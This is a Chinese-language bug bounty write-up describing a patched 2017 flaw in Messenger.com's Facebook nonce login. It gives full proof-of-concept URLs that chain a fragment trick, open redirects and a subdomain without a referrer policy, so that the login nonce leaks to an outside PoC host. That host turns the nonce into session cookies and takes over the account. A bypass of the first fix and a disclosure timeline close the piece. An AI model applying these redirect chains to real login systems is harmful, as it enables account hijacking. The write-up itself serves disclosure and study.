www.messenger.com是Facebook旗下即时通讯软件Messenger官网,该网站中添加了基于随机数认证( nonce based login )的Facebook登录服务,如果用户当前是Facebook登录状态,则可以直接以Facebook身份登录messenger.com。然而,由于随机数为用户生成了访问messenger.com的会话cookie,这种机制可能会让当前已登入的Facebook用户构造恶意随机数(nonce)和URL,使访问发生跳转。另外,在此过程中,由于当前的facebook.com和messenger.com会话cookie会发生交互,这也让用户的Facebook账户陷入被劫持风险。下面我们就一起来研究研究:
Messenger.com网站中添加的Facebook的登录机制
当用户访问messenger.com时,网站会发起Facebook端的请求https://www.facebook.com/login/messenger_dot_com_iframe/,请求通过以下框架自动加载:
https://www.facebook.com/login/messenger_dot_com_iframe/? redirect_uri=https%3A%2F%2Fwww.messenger.com%2F login%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY& identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY
其中,identifier和initial_request_id是messenger.com分配的两个参数,并与此过程中产生的datr用户cookie值相关。
如果用户当前是Facebook登录状态,请求将结合用户安全随机数(secret nonce)转向https://www.messenger.com/login/fb_iframe_target/,具体请求状态如下:
https://www.messenger.com/login/fb_iframe_target/?userid=100011424732901&name=Tom+Jones&secret=hF TzdP2Q&persistent=1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY
此时,登录框架将会显示以用户Facebook账户为凭据的登录按钮:
如果用户点击该按钮确认继续,则会向https://www.messenger.com/login/nonce/发起以下包含随机数的一个POST请求:
POST /login/nonce/ HTTP/1.1
Host: www.messenger.com
Connection: close
Content-Length: 109
Cache-Control: max-age=0
Origin: https://www.messenger.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/1.0 (Macintosh; Intel Mac OS X 1_0_0) AppleWebKit/1.0 (KHTML, like Gecko)
Chrome/1.0.0.0 Safari/1.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://www.messenger.com/
Accept-Language: en-US,en;q=0.8
Cookie: datr=3GSyWAIGB6DhdUIQebUwj9Jg
userid=100011424732901&nonce=hFTzdP2Q&persistent=true&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY
&lsd=AVr7DyPv
以上请求中同样包含了参数identifier和initial_request_id,以及cookie值datr。之后,请求服务使用用户
安全随机数生成了一个session会话值和一组Set-Cookie值:
HTTP/1.1 302 Found
Location: https://www.messenger.com/
...
Set-Cookie: sb=3dpaV2P6giuULzTDhNABjeti; expires=Tue, 26-Feb-2019 06:43:29 GMT; Max-Age=63071999;
path=/; domain=.messenger.com; secure; httponly
Set-Cookie: c_user=100011424732901; expires=Sat, 27-May-2017 06:43:29 GMT; Max-Age=7775999;
path=/; domain=.messenger.com; secure
Set-Cookie: xs=22%3AeAAc-sXWUZCaFw%3A2%3A1488091409%3A-1; expires=Sat, 27-May-2017 06:43:29 GMT;
Max-Age=7775999; path=/; domain=.messenger.com; secure; httponly
Set-Cookie: csm=2; expires=Sat, 27-May-2017 06:43:29 GMT; Max-Age=7775999; path=/;
domain=.messenger.com
Set-Cookie: lu=gQQAh17N-bnCQJL3wuArjLLQ; expires=Tue, 26-Feb-2019 06:43:29 GMT;
Max-Age=63071999; path=/; domain=.messenger.com; secure; httponly
...
研究如何窃取用户安全随机数
初步分析
在此类基于随机数认证登录的情况中,一般会存在一个参数使用户从当前网站重定向到另一个已添加登录应用的网站,所以,我首先从这里入手检查它的安全严谨性。在网站Messenger的Facebook登录链接https://www.messenger.com/login/fb_iframe_target/中,包含了一个控制随机数并进行URL重定向的参数redirect_uri,使用户完成从Messenger到Facebook跳转,在此过程中,其重定向区域(/login/fb_iframe_target/)不允许更改或添加任何字符串请求,但是,经测试发现,可以在登录链接中添加一个hash(#)号,并且使用messenger.com的子域名进行请求也能完成到Facebook的重定向。如:
https://subdomain.messenger.com/login/fb_iframe_target/
URL Hash:hash即#号,URL中#之后的内容叫做片段(Fragment),主要可用于链接到所加载页面中的指定锚点位置,片段Fragments不会出现在HTTP请求消息中,因为,Fragment Identifier片段标识符仅被浏览器使用。如http://www.example.com/index.html#location中,浏览器只会对/index.html发出请求。
Hash bang(#!):针对http://www.example.com/#sth类似链接,早期来说,搜索引擎的网络爬虫只会抓取http://www.example.com/里面的内容,后期,为了解决这个问题,google提出解决方案:hash bang,即将#改成#!即可让爬虫抓取到一些动态AJax内容,http://www.example.com/#sth的内容。现在,包括Facebook、Twitter在内的很多主流网站都支持hash bang(#!)
通常,当认证随机数以字符串方式https://example.com/login/?secrect=nonce,而不是#片段方式https://example.com/login/#secrect=nonce,发起重定向URL时,可以在浏览器请求中抓取到前述相应的nonce和Set-cookie值。由于Messenger.com网站支持#!方式,当在涉及Messenger.com的URL链接中加入#!方式的内容之后,链接发生请求时,#!后的内容亦会被加载。另外,由于请求端https://www.facebook.com/login/messenger_dot_com_iframe/也支持#方式访问,所以,在链接https://www.messenger.com/login/fb_iframe_target/中加入#!方式内容后,请求发生时,可能会加载相应内容。
漏洞构思
为了窃取登录认证随机数必须进行异站重定向(redirect offsite)或站外跳转。由于网站Messenger.com中可以使用类似l.php进行链接重定向,如:
https://l.messenger.com/l.php?u=https%3A%2F%2Fl.messenger.com%2Fl.php%3Fu%3Dhttp%253A%252F%252F
www.freebuf.com
而通常在该动作之前,一般会使用javascript删除HTTP请求中的referer头,使跳转后的目标地址不会收到referer请求。而且,从Messenger跳转到Facebook的过程中使用了302重定向。
302重定向:(302 redirect)指的是当浏览器要求一个网页的时候,主机所返回的状态码。302状态码的意义是暂时转向到另外一个网址,但搜索引擎中保存原来的URL。
另外,我从谷歌搜索到了这个Facebook链接:https://www.facebook.com/dialog/share_open_graph,只要给定一个Facebook ID和重定向URL,该网页应用服务就能自动发生跳转,因此,通过该链接构造的Facebook应用可以让请求服务端发生任意URL的重定向跳转。
综合以上问题,可以构造出以下包含重定向URL-https://stephensclafani.com/poc.php的验证性(PoC)链接:
https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2F
www.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41
Azk8IEwhvY%23!%2Fl.php%3Fu%3Dhttps%253A%252F%252Fwww.facebook.com%252Fdialog%252F
share_open_graph%253Fapp_id%253D758283087524346%2526redirect_uri%253Dhttps%253A%252F%252F
stephensclafani.com%252Fpoc.php&identifier=ab66de64be75eef525f18b812e07b5d1&
initial_request_id=A8eKoiVaTWx41Azk8IEwhvY
但是,遗憾的是,以上重定向没有成功,我收到的referer头还是https://www.messenger.com/l.php。这是因为每一个www.messenger.com页面都包含以下origin-when-cross-origin策略:
<meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" />
该策略在发起跨域请求时,为了保证用户数据(如nonce)不被泄露,referrer只包含域名,不包含具体路径,因此这种设置方式显然无效。
剩下的就只能寄希望于messenger.com的子域名了,意外的是,我通过crt.sh发现其中一个子域名fb.beta.messenger.com未使用origin-when-cross-origin策略,最终,通过该子域名成功构造了如下的PoC链接,并达到了预期效果:
https://www.facebook.com/login/messenger_dot_com_iframe/?
redirect_uri=https%3A%2F%2Ffb.beta.messenger.com%2Flogin%2Ffb_iframe_target%2F%3F
initial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY%23!%2Fl.php%3Fu%3Dhttps%253A%252F%252F
www.facebook.com%252Fdialog%252Fshare_open_graph%253Fapp_id%253D758283087524346%2526
redirect_uri%253Dhttps%253A%252F%252Fstephensclafani.com%252Fpoc.php&
identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY
漏洞利用分析
如果当前用户是Facebook登录状态:
1 链接https://www.facebook.com/login/messenger_dot_com_iframe/将会跳转到到https://fb.beta.messenger.com/login/fb_iframe_target/,并在此过程中为用户生成一个认证随机数nonce:
https://fb.beta.messenger.com/login/fb_iframe_target/?userid=100011424732901&
name=Tom+Jones&secret=tBTyFt4m&persistent=1&
initial_request_id=A8eKoiVaTWx41Azk8IEwhvY#!/l.php?u=https%3A%2F%2F
www.facebook.com%2Fdialog%2Fshare_open_graph%3F
app_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2Fstephensclafani.com%2Fpoc.php
由于fb.beta.messenger.com未使用origin-when-cross-origin策略,所以此页面中构造的URL将会发生跳转。
2 由于在其中添加了#!/l.php,最终在用户端浏览器中重定向到了链接https://fb.beta.messenger.com/l.php,具体请求如下:
https://fb.beta.messenger.com/l.php?u=https%3A%2F%2Fwww.facebook.com%2Fdialog%2F
share_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2F
stephensclafani.com%2Fpoc.php
由于发生了302跳转,用户浏览器重定向到https://www.facebook.com/dialog/share_open_graph?app_id=758283087524346&redirect_uri=https://stephensclafani.com/poc.php,所以浏览器仍然保存的是包含了nonce的referer头。
3 由于在链接后https://www.facebook.com/dialog/share_open_graph添加了重定向参数redirect_uri,且给定值为https://stephensclafani.com/poc.php,所以用户浏览器最终发生了向https://stephensclafani.com/poc.php的跳转。
4 通过PoC脚本poc.php,可以提取重定向请求过程referrer中的nonce,并能把该nonce值应用于https://www.messenger.com/login/nonce/的POST请求中,由此生成session会话值和以下cookie信息:
Array
(
[sb] => wP-xHWyEaAT1JN33JoTCWmOn
[c_user] => 100011424732901
[xs] => 22:J2NF2Ovl7qzACT:2:1488094195:-1
[csm] => 2
[lu] => gXtqnpAk_31Gy18Nf3BjanRw
)
当然,利用该cookie可以自由地进入用户的Messenger和Facebook账户:
GET / HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/1.0 (Macintosh; Intel Mac OS X 1_0_0) AppleWebKit/1.0 (KHTML, like Gecko)
Chrome/1.0.0.0 Safari/1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Cookie: sb=wP-xHWyEaAT1JN33JoTCWmOn; c_user=100011424732901;
xs=22:J2NF2Ovl7qzACT:2:1488094195:-1; csm=2; lu=gXtqnpAk_31Gy18Nf3BjanRw
Connection: close
GET / HTTP/1.1
Host: www.messenger.com
User-Agent: Mozilla/1.0 (Macintosh; Intel Mac OS X 1_0_0)
AppleWebKit/1.0 (KHTML, like Gecko) Chrome/1.0.0.0 Safari/1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Cookie: sb=wP-xHWyEaAT1JN33JoTCWmOn; c_user=100011424732901;
xs=22:J2NF2Ovl7qzACT:2:1488094195:-1; csm=2; lu=gXtqnpAk_31Gy18Nf3BjanRw
Connection: close
说明:由于POST请求https://www.messenger.com/login/nonce/中由cookie datr生成的参数initial_request_id和identifier,不存在请求失效和过期情况,所以可应用于对多个nonce的session会话值创建。另外,针对登录了网站messenger.com的用户,该攻击同样有效。
修复措施
Facebook首先的修复措施是在重定向URL中阻断了#符号的加入,但是,这种方式可以通过以下链接被绕过:
https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https
%3A%2F%2Ffb.beta.messenger.com%2Flogin
%2Ffb_iframe_target%2F%3
Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY&identifier=ab66de64be75eef525f18b812e07b5d1&
initial_request_id=A8eKoiVaTWx41Azk8IEwhvY#!/l.php?u=https%3A%2F%2F
www.facebook.com%2Fdialog%2Fshare_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3
Dhttps%3A%2F%2Fstephensclafani.com
%2Fpoc.php
该链接中添加了#!/l.php之后,即使是跨站跳转,浏览器也会通过302重定向保留URL中的hash(#)。添加到链接https://www.facebook.com/login/messenger_dot_com_iframe/中的#在发生重定向之后,会被添加到链接https://fb.beta.messenger.com/login/fb_iframe_target/中。
通常,为了防止这种情况,网站可以设置自己的重定向hash(#),如:
漏洞报送进程
我是2月26号星期天向Facebook安全报送了这个漏洞的,星期一大早,Facebook在确认了这个漏洞之后的两小时就开始进行修复,之后Facebook向我奖励了15000美元的漏洞赏金。
2017.2.26 5:12 AM 向Facebook报告漏洞;
2017.2.27 8:01 AM Facebook确认漏洞;
2017.2.27 9:35 AM Facebook开始进行临时性修复;
2017.2.27 10:09 AM 我告知Facebook当前修复可以被绕过;
2017.2.27 11:56 AM Facebook向我反馈,他们已经在制订修复方案;
2017.2.27 4:29 PM Facebook修复了漏洞;
2017.2.27 9:39 PM 我对Facebook的修复再次作了验证;
2017.3.3 4:36 PM Facebook向我奖励了 $15,000美元漏洞赏金。
来自Freebuf.com
最新评论